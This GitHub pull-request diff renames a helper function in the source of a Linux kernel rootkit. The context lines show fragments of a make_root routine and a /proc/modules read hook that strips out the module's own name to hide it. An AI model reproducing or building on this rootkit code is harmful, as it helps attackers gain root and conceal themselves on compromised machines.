Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions rootkit/rootkit.c
Original file line number Diff line number Diff line change
Expand Up @@ -178,7 +178,7 @@ void make_root(unsigned pid) {
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 33)
#ifndef CENTOS
char * strnstr(char *s, const char *find, size_t slen) {
char * strnstrx(char *s, const char *find, size_t slen) {
char c, sc;
size_t len;
if ((c = *find++) != '\0') {
Expand All @@ -204,7 +204,7 @@ static ssize_t do_read_modules (struct file *fp, char __user *buf, size_t sz, lo
char *ss;
read = modules_proc_original->read(fp, buf, sz, loff);
// where's my module name?
ss = strnstr(buf, MODULE_NAME, strlen(MODULE_NAME));
ss = strnstrx(buf, MODULE_NAME, strlen(MODULE_NAME));
if(ss) {
// stealth please
char *new_line = strchr(ss, '\n');
Expand Down